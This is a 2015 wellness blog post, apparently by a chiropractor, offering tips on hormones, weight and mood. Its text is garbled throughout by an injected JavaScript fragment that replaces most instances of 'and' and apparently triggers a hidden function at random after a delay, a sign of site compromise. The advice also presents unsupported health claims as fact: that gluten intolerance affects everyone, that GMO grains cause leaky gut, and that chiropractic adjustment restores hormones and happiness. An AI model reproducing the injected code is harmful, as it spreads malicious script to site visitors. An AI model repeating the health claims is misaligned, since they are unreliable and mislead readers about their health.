Are Your Hormones Making You Fat & Crazy?

Posted On : April 15, 2015

?????????????Are your moods like a roller coaster ride? Feeling more anxious andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stressed than ever before? Does extra weight seem to stay on you no matter what diet you try?

Well, I have good news. It’s not your fault. It’s also not in your head. It is in your hormones. We are neuro-chemical beings. If our nervous system or our chemical system go out of balance, our bodies (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mind) start malfunctioning.   Here are some quick tips you can implement right away to get your hormones back on track.

Snooze better Sleep is how your body rebalances itself. If you are missing out on a good night’s sleep, most likely you are creating a hormonal imbalance in your body. Experts all agree, seven to nine hours of sleep is what the body needs. Make sure that you are consistently getting a good night’s sleep. Drinking alcohol, checking Facebook, or answering emails before bed will destroy the amount of REM sleep you get. Ditch those habits, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and commit to getting a great night’s sleep.

Go Gluten Free Gluten intolerance is a serious issue that affects us all. Most grains now are genetically modified andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sprayed with Roundup. This toxicity creates a leaky gut situation in your body. Leaky gut is where you have small openings in your small intestine that allows undigested food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toxins to get directly into the bloodstream. The body responds by creating inflammation. This inflammation will leave you bloated, sluggish, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on a hormonal roller coaster.

Stop Stressing I know this is a double edge sword. The hormonal imbalance causes you to stress, but stress is like pouring gasoline on an already roaring hormonal fire.  It raises cortisol levels, taxes your adrenals, zaps your energy, joy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and healthy libido. Make sure you are creating a daily practice of stress-busting activities. Yoga, meditation, massage, running in nature, walking with a friend, or heading to the gym are all great ways to handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle the stress in your life. Many people look at these activities as optional, but if you start to see them as essentials to a happy, healthy life your hormones will be back in balance before you know it.

Get Adjusted The master control switch of all hormones is your nervous system. If your nervous system gets damaged by improper posture or spinal alignment, your hormones will never function properly. Be sure you know what the curves of your spine look like andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what you can do to keep pressure of your nervous system. Feeling blue? Get to your chiropractor for an easy surge of nerve flow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happiness.